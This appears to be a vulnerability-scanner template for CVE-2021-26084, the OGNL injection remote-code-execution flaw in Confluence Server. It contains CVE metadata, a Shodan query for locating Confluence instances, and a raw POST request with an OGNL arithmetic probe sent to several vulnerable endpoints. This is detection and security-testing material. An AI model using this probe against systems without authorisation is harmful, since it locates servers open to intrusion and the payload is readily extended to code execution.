64 lines
2.5 KiB
YAML
64 lines
2.5 KiB
YAML
id: CVE-2021-26084
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info:
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name: Confluence Server - Remote Code Execution
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author: dhiyaneshDk,philippedelteil
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severity: critical
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description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
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reference:
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- https://jira.atlassian.com/browse/CONFSERVER-67940
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- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
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- https://github.com/Udyz/CVE-2021-26084
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-26084
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cwe-id: CWE-74
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epss-score: 0.97474
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cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
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metadata:
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max-request: 13
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shodan-query: http.component:"Atlassian Confluence"
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vendor: atlassian
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product: confluence_data_center
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tags: cve,cve2021,rce,confluence,injection,ognl,kev
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http:
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- raw:
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- |
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POST /{{path}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
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payloads:
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path:
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- pages/createpage-entervariables.action?SpaceKey=x
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- pages/createpage-entervariables.action
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- confluence/pages/createpage-entervariables.action?SpaceKey=x
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- confluence/pages/createpage-entervariables.action
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- wiki/pages/createpage-entervariables.action?SpaceKey=x
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- wiki/pages/createpage-entervariables.action
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- pages/doenterpagevariables.action
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- pages/createpage.action?spaceKey=myproj
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- pages/templates2/viewpagetemplate.action
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- pages/createpage-entervariables.action
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- template/custom/content-editor
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- templates/editor-preload-container
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- users/user-dark-features
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'value="aaaa{140592=null}'
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- type: status
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status:
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- 200
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